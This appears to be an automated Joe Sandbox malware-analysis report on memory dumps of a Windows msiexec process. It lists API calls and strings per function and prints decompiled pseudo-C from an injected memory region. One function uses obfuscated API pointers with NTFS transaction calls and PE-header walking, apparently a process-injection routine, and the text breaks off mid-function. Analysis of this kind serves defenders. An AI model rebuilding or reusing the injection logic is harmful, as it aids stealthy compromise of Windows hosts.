Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 0000000100004FD0, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 90thread

APIs

GetCurrentThread.KERNEL32 ref: 0000000100004FF3
OpenThreadToken.ADVAPI32 ref: 000000010000500C
GetLastError.KERNEL32 ref: 0000000100005016
GetCurrentProcess.KERNEL32 ref: 0000000100005023
OpenProcessToken.ADVAPI32 ref: 0000000100005033
LookupPrivilegeValueW.ADVAPI32 ref: 0000000100005087
AdjustTokenPrivileges.ADVAPI32 ref: 00000001000050D3
CloseHandle.KERNEL32 ref: 00000001000050DE
GetLastError.KERNEL32 ref: 00000001000050E4
CloseHandle.KERNEL32 ref: 000000010000510E

Strings

3w, xrefs: 0000000100004FF3

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 0000000100009EFC, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 120librarywindow

APIs

LoadLibraryExW.KERNEL32 ref: 0000000100009F4B
GetProcAddress.KERNEL32 ref: 0000000100009F67
GetSystemDefaultLangID.KERNEL32 ref: 0000000100009FBD
memset.MSVCRT ref: 000000010000A004
FormatMessageW.KERNEL32 ref: 000000010000A02E
WideCharToMultiByte.KERNEL32 ref: 000000010000A066

Part of subcall function 0000000100004EF4: _vsnprintf.MSVCRT ref: 0000000100004F2F

FreeLibrary.KERNEL32 ref: 000000010000A0D8

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

Installer error %i, xrefs: 000000010000A073
InstallStatusMIF, xrefs: 0000000100009F5D
ISMIF32.DLL, xrefs: 0000000100009F35

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100004FD0, Relevance: 15.1, APIs: 10, Instructions: 90thread

APIs

GetCurrentThread.KERNEL32 ref: 0000000100004FF3
OpenThreadToken.ADVAPI32 ref: 000000010000500C
GetLastError.KERNEL32 ref: 0000000100005016
GetCurrentProcess.KERNEL32 ref: 0000000100005023
OpenProcessToken.ADVAPI32 ref: 0000000100005033
LookupPrivilegeValueW.ADVAPI32 ref: 0000000100005087
AdjustTokenPrivileges.ADVAPI32 ref: 00000001000050D3
CloseHandle.KERNEL32 ref: 00000001000050DE
GetLastError.KERNEL32 ref: 00000001000050E4
CloseHandle.KERNEL32 ref: 000000010000510E

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000523C, Relevance: 9.1, APIs: 6, Instructions: 61

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00000001000052B3
GetLastError.KERNEL32 ref: 00000001000052BD
GetLengthSid.ADVAPI32 ref: 00000001000052CA
FreeSid.ADVAPI32 ref: 00000001000052E1
GetLengthSid.ADVAPI32 ref: 00000001000052EE
FreeSid.ADVAPI32 ref: 000000010000531F

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 0000000100017530, Relevance: 7.6, APIs: 5, Instructions: 51

APIs

RtlCaptureContext.NTDLL ref: 0000000100017543
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000100017622
UnhandledExceptionFilter.KERNEL32 ref: 000000010001762F
GetCurrentProcess.KERNEL32 ref: 0000000100017635
TerminateProcess.KERNEL32 ref: 0000000100017643

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 00000001000077A8, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188

APIs

StgOpenStorage.OLE32 ref: 00000001000077F1
MultiByteToWideChar.KERNEL32 ref: 0000000100007A28

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

,, xrefs: 000000010000785C
&, xrefs: 0000000100007A00

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 000000010000E108, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21

APIs

StartServiceCtrlDispatcherW.ADVAPI32 ref: 000000010000E133
GetLastError.KERNEL32 ref: 000000010000E13D

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

Strings

MSIServer, xrefs: 000000010000E119
StartServiceCtrlDispatcher failed., xrefs: 000000010000E143

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 00395AC0, Relevance: 4.3, Strings: 3, Instructions: 524
Crypto

C-Code - Quality: 59%

			E00395AC0(void* __edi, void* __esp, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, void* _a24) {
				void* _v32;
				void* _v40;
				long long* _v60;
				void* _v582;
				short _v584;
				void* _v608;
				void* _v1086;
				short _v1088;
				char _v1112;
				void* _v1136;
				void* _v1148;
				void* _v1348;
				signed short _v1352;
				intOrPtr _v1356;
				intOrPtr _v1360;
				intOrPtr _v1364;
				void* _v1464;
				signed short _v1468;
				void* _v1472;
				char _v1476;
				signed int _v1480;
				long long _v1484;
				void* _v1492;
				long long _v1564;
				void* _v1568;
				void* _v1572;
				void* _v1576;
				long long _v1580;
				long long _v1584;
				long long _v1592;
				long long _v1596;
				long long _v1604;
				void* _v1618;
				short _v1620;
				signed short _v1632;
				long long _v1640;
				long long _v1648;
				intOrPtr _v1652;
				long long _v1656;
				signed short _v1664;
				long long _v1672;
				void* _v1676;
				long long _v1680;
				long long _v1684;
				long long _v1688;
				long long _v1696;
				long long _v1700;
				long long _v1712;
				long long _v1720;
				void* _v1736;
				long long _v1740;
				long long _v1744;
				long long _v1748;
				signed int _v1752;
				long long _v1756;
				void* _v1760;
				void* _v1764;
				long long _v1772;
				long long _v1776;
				long long _v1780;
				long long _v1784;
				long long _v1792;
				long long _v1800;
				long long _v1804;
				signed short _v1808;
				signed short _v1812;
				signed short _v1816;
				signed short _v1820;
				long long _v1824;
				signed short _v1828;
				long long _v1832;
				intOrPtr _v1836;
				long long _v1840;
				long long _v1844;
				long long _v1852;
				void* _t289;
				void* _t293;
				void* _t364;
				void* _t365;
				void* _t366;
				void* _t367;
				void* _t368;
				void* _t369;
				void* _t371;
				void* _t372;
				void* _t374;
				void* _t376;
				long long _t386;
				long long _t388;
				long long _t390;
				long long _t405;
				long long _t415;
				long long _t417;
				long long _t437;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v1632 = 0;
				 *_a24 = 0;
				if( *0x00391770() >= 6) {
					_v1352 = 0;
					memset(__edi, 0, 0x118 << 0);
					_t371 = __esp + 0xc;
					_t364 = __edi + 0x118;
					_v1364 = 0x11c;
					 *0x00384370();
					if(_v1360 != 0xa || _v1356 != 0 || _v1352 >= 0x3fab) {
						E0038B3B0(E0038B3E0( &_v1476, 0x39df48), 0x39df48);
						_v1484 =  *0x00382093 + 0x30cda7;
						_t386 = _v1484;
						_t289 =  *_t386();
						_v1604 = _t386;
						E0038B3C0(_t289,  &_v1476);
						_t388 =  *0x00382183 - 0x3c53e07e;
						 *_t388();
						_v1596 = _t388;
						_t390 =  *((intOrPtr*)(0x382183)) - 0x3c53e07e;
						 *_t390();
						_v1580 = _t390;
						if(_v1596 == 0 || _v1580 == 0) {
							_t293 = 0;
						} else {
							_v1468 = 0;
							memset(_t364, 0, 0x2c << 0);
							_t372 = _t371 + 0xc;
							_t365 = _t364 + 0x2c;
							 *((long long*)( *0x00382583 + 0x382034))();
							if((_v1480 & 0x0000ffff) == 9) {
								_v1720 = 0;
								_v1640 = 0;
								_v1712 = 0;
								_v1680 = 0;
								_v1696 = 0;
								_v1088 = 0;
								memset(_t365, 0, 0x208 << 0);
								_t366 = _t365 + 0x208;
								_v1684 = 0;
								memset(_t366, 0, 8 << 0);
								_t374 = _t372 + 0x18;
								_t367 = _t366 + 8;
								while(1) {
									_t293 =  *0x0038F270();
									if(_t293 == 0) {
										break;
									}
									_v1816 =  &_v1112;
									r9d = 0;
									r8d = 0;
									 *((long long*)( *0x00384973 - 0x1f9cf987))();
									 *0xFFFFFFFFF4CAED0E();
									_v1592 = 0x390bc0;
									 *0x00390D00();
									_t405 =  *0x00382E8A + 0x69b0b;
									_v1800 = 0;
									_v1808 = 0;
									_v1816 = 2;
									r9d = 0;
									r8d = 1;
									_t293 =  *_t405();
									_v1744 = _t405;
									if(_v1744 != 0xffffffff) {
										_v1816 = 0;
										r8d = _v1688;
										_t293 =  *((long long*)( *0x003818DA - 0x12637a89))();
										if(_t293 != 0) {
											if(_v1744 != 0) {
												 *((long long*)( *0x0038203A - 0x4ec641ef))();
												_v1744 = 0;
											}
											_v1584 = _v1696;
											_v1656 = _v1696 +  *((intOrPtr*)(_v1584 + 0x3c));
											_v1712 = _v1656;
											_v1672 = _v1656 + _v1656 + 0x18;
											_v1752 = 0;
											while(1) {
												_t415 = _v1656;
												if(_v1752 >= ( *(_t415 + 6) & 0x0000ffff)) {
													break;
												}
												if(_v1712 < _v1752 * 0x28 || _v1712 > _v1752 * 0x28) {
													_v1752 = _v1752 + 1;
													continue;
												} else {
													_v1648 = _v1712 - _v1752 * 0x28;
													_v1648 = _v1648 + _v1752 * 0x28;
													_v1576 = 0x38fe50;
													_t415 = _v1576;
													 *_t415();
												}
												break;
											}
											_v1800 = 0;
											_v1808 = 0;
											_v1816 = 0;
											r9d = 0;
											r8d = 0;
											_t293 = _v1632();
											_v1720 = _t415;
											if(_v1720 != 0) {
												_t417 =  *0x00381BDA + 0x2858f6;
												_v1776 = 0;
												_v1784 = 0;
												_v1792 = _v1720;
												_v1800 = 0;
												_v1808 = 0;
												_v1816 = 3;
												r9d = 0;
												r8d = 1;
												_t293 =  *_t417();
												_v1744 = _t417;
												if(_v1744 != 0xffffffff) {
													_v1816 = 0;
													r8d = _v1688;
													_t293 =  *((long long*)( *((intOrPtr*)(0x3818da)) - 0x12637a89))();
													if(_t293 != 0) {
														if(_v1696 != 0) {
															 *0x0038FE30();
														}
														_v1696 = 0;
														_v1688 = 0;
														_v1800 = _v1744;
														_v1808 = 0x1000000;
														_v1816 = 2;
														r9d = 0;
														r8d = 0;
														_t293 =  *((long long*)( *0x00384303 + 0x2248b2))();
														if(_t293 >= 0) {
															 *((long long*)( *0x003823DA - 0x19afc400))();
															_v1568 =  *0x003842B3 - 0x58675f84;
															_v1784 = 0;
															_v1792 = 0;
															_v1800 = 0;
															_v1808 = _v1664;
															_v1816 = 4;
															r8d = 0;
															_t293 =  *_v1568();
															if(_t293 >= 0) {
																_v584 = 0;
																memset(_t367, 0, 0x206 << 0);
																_t368 = _t367 + 0x206;
																_v1620 = 0;
																memset(_t368, 0, 0xe << 0);
																_t376 = _t374 + 0x18;
																_t369 = _t368 + 0xe;
																r9d = 0;
																 *((long long*)( *0x0038136A + 0x1e3f6))();
																 *0x00384220();
																_v1752 = 0;
																_v1792 = 1;
																_v1800 = 0;
																_v1808 = 0;
																_v1816 = 0;
																_v1824 = 0;
																_v1832 = 0;
																_v1840 =  &_v1632;
																r9d = 0;
																r8d = 0;
																_t293 =  *((long long*)( *0x003841B3 + 0x3358ab))();
																if(_t293 >= 0) {
																	_v1648 = 0;
																	_v1584 =  *0x003813C3 + 0x5743b;
																	_v1840 = 4;
																	r9d = 0x3000;
																	_t437 = _v1584;
																	_t293 =  *_t437();
																	_v1648 = _t437;
																	if(_v1648 != 0) {
																		_v1576 =  *0x0038237A - 0x53361165;
																		_v1840 = 0;
																		_t293 =  *_v1576();
																		if(_t293 != 0) {
																			_v1480 = 0;
																			memset(_t369, 0, 0x28 << 0);
																			_t374 = _t376 + 0xc;
																			_t367 = _t369 + 0x28;
																			_v1852 = 0;
																			r9d = 0x30;
																			_t293 =  *0x003841C0();
																			if(_t293 >= 0) {
																				_v1580 = _v1484;
																				_v1572 =  *((intOrPtr*)(0x38237a)) - 0x53361165;
																				_v1852 = 0;
																				r9d = 8;
																				_t293 =  *_v1572();
																				if(_t293 != 0) {
																					 *0x34a6890c();
																					_v1564 = 0x390bc0;
																					 *0x707a329f();
																					_v1748 = _v1748 + 0x3956f0;
																					_v1804 = 0;
																					_v1812 = 0;
																					_v1820 = 0;
																					_v1828 = 0;
																					_v1836 = 1;
																					_v1844 = 0;
																					_v1852 = _v1748;
																					r8d = 0;
																					 *((long long*)( *0x00384103 - 0x5b7bdf4e))();
																					_t293 = 0;
																					if(0 != 0) {
																						continue;
																					}
																				} else {
																				}
																			} else {
																			}
																		} else {
																		}
																	} else {
																	}
																} else {
																}
															} else {
															}
														} else {
														}
													} else {
													}
												} else {
												}
											} else {
											}
										} else {
										}
									} else {
									}
									L50:
									if(_v1740 == 0) {
										if(_v1772 != 0) {
											_t293 =  *((long long*)( *0x00381673 - 0x7a9555d))();
										}
										if(_v1772 != 0) {
											_t293 =  *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
											_v1772 = 0;
										}
										if(_v1740 != 0) {
											_t293 =  *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
											_v1740 = 0;
										}
									}
									if(_v1756 != 0) {
										_t293 = _v1652();
									}
									if(_v1780 != 0) {
										_t293 =  *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
										_v1780 = 0;
									}
									if(_v1700 != 0) {
										_t293 =  *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
										_v1700 = 0;
									}
									if(_v1756 != 0) {
										_t293 =  *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
										_v1756 = 0;
									}
									 *_v60 = _v1740;
									goto L66;
								}
								goto L50;
							} else {
								_t293 = 0;
							}
						}
					} else {
						_t293 = 0;
					}
				} else {
					_t293 = 0;
				}
				L66:
				return _t293;
			}

0x00395ac0
0x00395ac5
0x00395aca
0x00395ad7
0x00395aea
0x00395b03
0x00395b0c
0x00395b29
0x00395b29
0x00395b29
0x00395b2b
0x00395b4b
0x00395b55
0x00395b95
0x00395ba8
0x00395bb3
0x00395bbb
0x00395bbd
0x00395bcd
0x00395bd9
0x00395bee
0x00395bf0
0x00395bff
0x00395c14
0x00395c16
0x00395c27
0x00395c34
0x00395c3b
0x00395c3b
0x00395c58
0x00395c58
0x00395c58
0x00395c6f
0x00395c7c
0x00395c85
0x00395c8e
0x00395c9a
0x00395ca3
0x00395caf
0x00395cbd
0x00395cd7
0x00395cd7
0x00395cd9
0x00395cf7
0x00395cf7
0x00395cf7
0x00395cf9
0x00395d16
0x00395d1a
0x00000000
0x00000000
0x00395d36
0x00395d3b
0x00395d3e
0x00395d48
0x00395d63
0x00395d65
0x00395d91
0x00395d9a
0x00395da0
0x00395da9
0x00395db1
0x00395db9
0x00395dbc
0x00395dcf
0x00395dd1
0x00395ddc
0x00395df0
0x00395e01
0x00395e16
0x00395e1a
0x00395e27
0x00395e3b
0x00395e3d
0x00395e3d
0x00395e4e
0x00395e70
0x00395e83
0x00395ea4
0x00395eac
0x00395ec0
0x00395ec0
0x00395ed0
0x00000000
0x00000000
0x00395ef3
0x00395ebc
0x00000000
0x00395f33
0x00395f56
0x00395f81
0x00395fad
0x00395fcf
0x00395fd7
0x00395fd7
0x00000000
0x00395ef3
0x00395fe0
0x00395fe9
0x00395ff1
0x00395ff9
0x00395ffc
0x00396003
0x0039600a
0x0039601b
0x00396029
0x0039602f
0x00396038
0x00396049
0x0039604e
0x00396057
0x0039605f
0x00396067
0x0039606a
0x0039607d
0x0039607f
0x0039608a
0x0039609e
0x003960af
0x003960c4
0x003960c8
0x003960d8
0x003960ef
0x003960ef
0x003960f1
0x003960fd
0x0039611b
0x00396120
0x00396128
0x00396130
0x00396133
0x00396143
0x00396147
0x0039615b
0x0039616b
0x00396173
0x0039617c
0x00396185
0x00396196
0x0039619b
0x003961a3
0x003961b8
0x003961bc
0x003961c5
0x003961df
0x003961df
0x003961e3
0x003961fd
0x003961fd
0x003961fd
0x0039620c
0x00396224
0x00396243
0x00396245
0x0039625b
0x00396263
0x0039626c
0x00396275
0x0039627e
0x00396287
0x00396298
0x0039629d
0x003962a0
0x003962b0
0x003962b4
0x003962bb
0x003962fb
0x00396303
0x0039630b
0x0039631e
0x00396326
0x00396328
0x00396339
0x00396361
0x00396369
0x0039638c
0x00396390
0x00396397
0x003963b4
0x003963b4
0x003963b4
0x003963c3
0x003963cc
0x003963e1
0x003963e5
0x003963f4
0x00396416
0x0039641e
0x00396427
0x00396442
0x00396446
0x00396466
0x00396468
0x0039648a
0x0039649a
0x003964af
0x003964b8
0x003964c0
0x003964c8
0x003964d0
0x003964d8
0x003964e9
0x003964f3
0x00396503
0x00396505
0x00396509
0x00000000
0x00000000
0x00000000
0x00396448
0x00000000
0x003963e7
0x00000000
0x00396392
0x00000000
0x0039633b
0x00000000
0x003962b6
0x00000000
0x003961be
0x00000000
0x00396149
0x00000000
0x003960ca
0x00000000
0x0039608c
0x00000000
0x0039601d
0x00000000
0x00395e1c
0x00000000
0x00395dde
0x0039650f
0x00396518
0x00396520
0x00396536
0x00396536
0x0039653e
0x00396552
0x00396554
0x00396554
0x00396566
0x0039657d
0x0039657f
0x0039657f
0x00396566
0x00396594
0x0039659e
0x0039659e
0x003965ab
0x003965bf
0x003965c1
0x003965c1
0x003965d3
0x003965ea
0x003965ec
0x003965ec
0x00396601
0x00396618
0x0039661a
0x0039661a
0x00396636
0x00000000
0x00396639
0x00000000
0x00395c7e
0x00395c7e
0x00395c7e
0x00395c7c
0x00395b6e
0x00395b6e
0x00395b6e
0x00395b05
0x00395b05
0x00395b05
0x0039663e
0x00396646

Strings

*/6, xrefs: 003961FF
CreateTransaction, xrefs: 00395BDF
RollbackTransaction, xrefs: 00395C05

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00396700, Relevance: 2.0, Strings: 1, Instructions: 711
Crypto

C-Code - Quality: 80%

			E00396700(void* __edi, void* __esp, void* __eflags, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _v534;
				short _v536;
				void* _v548;
				void* _v572;
				void* _v594;
				short _v596;
				void* _v608;
				void* _v620;
				void* _v640;
				long long _v648;
				char _v660;
				char _v664;
				intOrPtr _v668;
				long long _v672;
				void* _v676;
				long long _v680;
				void* _v684;
				void* _v692;
				long long _v700;
				void* _v708;
				void* _v716;
				void* _v764;
				void* _v772;
				long long _v780;
				void* _v784;
				void* _v792;
				signed int _v796;
				long long _v808;
				long long _v812;
				long long _v820;
				long long _v828;
				long long _v832;
				intOrPtr _v836;
				long long _v840;
				long long _v856;
				long long _v864;
				long long _v876;
				intOrPtr _v880;
				long long _v888;
				long long _v892;
				long long _v896;
				long long _v900;
				long long _v904;
				long long _v908;
				long long _v912;
				intOrPtr _v916;
				void* _v924;
				void* _v928;
				long long _v932;
				void* _v936;
				long long _v940;
				void* _v944;
				long long _v948;
				long long _v952;
				long long _v956;
				long long _v960;
				long long _v964;
				long long _v968;
				char _v972;
				long long _v976;
				long long _v980;
				long long _v984;
				long long _v988;
				void* _v996;
				long long _v1004;
				void* _v1008;
				long long _v1012;
				long long _v1020;
				long long _v1024;
				long long _v1028;
				long long _v1032;
				long long _v1036;
				long long _v1044;
				void* _t387;
				void* _t502;
				void* _t503;
				void* _t504;
				void* _t505;
				void* _t506;
				void* _t510;
				void* _t511;
				long long _t525;
				long long _t540;
				long long _t551;
				signed long long _t572;
				long long _t622;
				long long _t656;
				signed long long _t666;
				void* _t833;
				void* _t834;

				_a16 = __rdx;
				_a8 = __rcx;
				_t834 = _t833 - 0x3f0;
				_v536 = 0;
				memset(__edi, 0, 0x208 << 0);
				_t502 = __edi + 0x208;
				 *((long long*)( *0x00382533 + 0x243d4b))();
				E0038B3B0(E0038B3E0( &_v708, 0x39dfa0), 0x39dfa0);
				_v716 = 0x39dfa0;
				E0038B3C0( *0x00390D00(),  &_v708);
				_t525 =  *0x00382283 - 0x4815a4ec;
				 *_t525();
				_v828 = _t525;
				_v700 = _v828;
				_v812 = _v828 +  *((intOrPtr*)(_v700 + 0x3c));
				_v596 = 0;
				memset(_t502, 0, 0x22 << 0);
				_t510 = __esp + 0x18;
				_t503 = _t502 + 0x22;
				r9d = 0xf;
				 *0xFFFFFFFF9E1F02EC();
				_v912 = 0x3948a0;
				if(_v912 != 0) {
					_v952 = 0;
					memset(_t503, 0, 8 << 0);
					_t511 = _t510 + 0xc;
					_t504 = _t503 + 8;
					r8d =  *((intOrPtr*)(_v836 + 0x28));
					if( *0x00394F80() != 0) {
						_v948 = 0;
						_v972 = 0;
						_v940 = 0;
						_v912 = 0;
						while(_v912 < 5) {
							 *0xFFFFFFFFCDA25FC5();
							_v972 = 0x395ac0;
							if(_v972 == 0) {
								L16:
								L5:
								_v912 = _v912 + 1;
								continue;
							}
							_t656 =  *0x003811A3 + 0x22763f;
							r9d = 0;
							r8d = 0;
							 *_t656();
							_v940 = _t656;
							_v716 =  *0x0038125A + 0x326dd0;
							_v1004 = 2;
							_v1012 = 0;
							_v1020 = 0;
							if( *_v716() != 0) {
								 *((long long*)( *((intOrPtr*)(0x382283)) - 0x4815a4ec))();
								_v708 = 0x394930;
								r8d = 0;
								if( *_v708() != 0) {
									 *0x003A30C8();
									_v772 = 0;
									memset(_t504, 0, 8 << 0);
									_t511 = _t511 + 0xc;
									_t504 = _t504 + 8;
									_t666 =  &_v764 * 0;
									 *((long long*)(_t834 + _t666 + 0x118)) = _v952;
									 *((long long*)(_t834 + _t666 + 0x118)) = _v960;
									r9d = 0x7530;
									r8d = 0;
									_v880 =  *((long long*)( *0x00382323 + 0x154e18))();
									 *((long long*)( *0x0038203A - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
									 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
									if(_v880 != 0) {
										goto L16;
									}
									 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
									if(_v976 != 0) {
										 *0x0038FE30();
									}
									_v976 = 0;
									_v968 = 0;
									_t387 = 1;
									goto L80;
								}
								 *((long long*)( *0x00381673 - 0x7a9555d))();
								 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
								 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
								 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
								goto L5;
							}
							 *((long long*)( *((intOrPtr*)(0x381673)) - 0x7a9555d))();
							 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
							 *((long long*)( *((intOrPtr*)(0x38203a)) - 0x4ec641ef))();
							goto L5;
						}
						_v932 = 0;
						_v864 = 0;
						 *0xFFFFFFFFBEA8A090();
						_v932 = 0x38fcb0;
						_v700 = 0x38fd30;
						_t540 = _v700;
						 *_t540();
						 *_v932 = _t540;
						 *((long long*)(_v932 + 8)) = _v956 + 8;
						_v692 = 0x38fe50;
						 *_v692();
						_v908 = 0;
						while(_v908 < 5) {
							 *0xFFFFFFFFCD58C55B();
							_v972 = 0x395610;
							if(_v972 != 0) {
								break;
							}
							_v908 = _v908 + 1;
						}
						if( *_v932 != 0) {
							 *((long long*)(0x38fe30))();
						}
						 *_v932 = 0;
						 *((long long*)(_v932 + 8)) = 0;
						if(_v932 != 0) {
							 *((long long*)(0x38fe30))();
						}
						_v932 = 0;
						_t551 =  *((intOrPtr*)(0x3811a3)) + 0x22763f;
						r9d = 0;
						r8d = 0;
						 *_t551();
						_v940 = _t551;
						_v684 =  *((intOrPtr*)(0x38125a)) + 0x326dd0;
						_v1004 = 2;
						_v1012 = 0;
						_v1020 = 0;
						if( *_v684() != 0) {
							 *((long long*)( *((intOrPtr*)(0x382283)) - 0x4815a4ec))();
							_v676 = 0x394930;
							r8d = 0;
							if( *_v676() != 0) {
								_v892 = 0;
								_v876 = 0;
								_v900 = 0;
								_v820 = 0;
								memset(_t504, 0, 0x28 << 0);
								_t505 = _t504 + 0x28;
								_v928 = 0;
								while(0 != 1) {
									 *0x0038FF40();
									_v1024 = 0;
									_v1032 = 0x30;
									r8d = 0;
									 *0x003A30F0();
									_v916 = 0;
									if(_v832 != 0 || _v904 == 0) {
										if(_v916 == 0) {
											_v904 = _v904 + _v808;
											if((_v796 & 0x00000001) != 0 || (_v796 & 0x00000100) != 0) {
											} else {
												 *0xFFFFFFFFE2D7D740();
												_v912 = 0x38fcb0;
												if((_v796 & 0x00000001) != 0 || (_v796 & 0x00000100) != 0) {
												} else {
													if(_v808 <= 0x7fffffff) {
														_t622 = _v832;
														_v840 = _t622;
														while(_v808 > 0) {
															if(_v808 <= 0x100000) {
																_v896 = _v808;
															} else {
																_v896 = 0x100000;
															}
															_v892 = _v896;
															_v808 = _v808 - _t622;
															_v680 = 0x3a30f8;
															_v1032 =  &_v928;
															r9d = _v892;
															_t622 = _v680;
															_v916 =  *_t622();
															if(_v916 != 0) {
																L57:
																continue;
															} else {
																_v856 = 0;
																_v672 = 0x3900f0;
																r9d = 0x2c;
																_t622 = _v672;
																 *_t622();
																_v856 = _t622;
																if(_v856 == 0) {
																	goto L57;
																}
																_v888 = _v840 + _v856 - _v912;
																break;
															}
														}
														if(_v912 != 0) {
															 *((long long*)(0x38fe30))();
														}
														_v912 = 0;
														if(_v888 == 0) {
															continue;
														} else {
															break;
														}
													}
												}
											}
											continue;
										}
										goto L40;
									} else {
										L40:
										break;
									}
								}
								if(_v888 != 0) {
									_v664 = 0;
									_v904 = _v888;
									_v928 = _v968;
									_v1032 =  &_v664;
									r9d = 0x40;
									if( *0x003A30D8() == 0) {
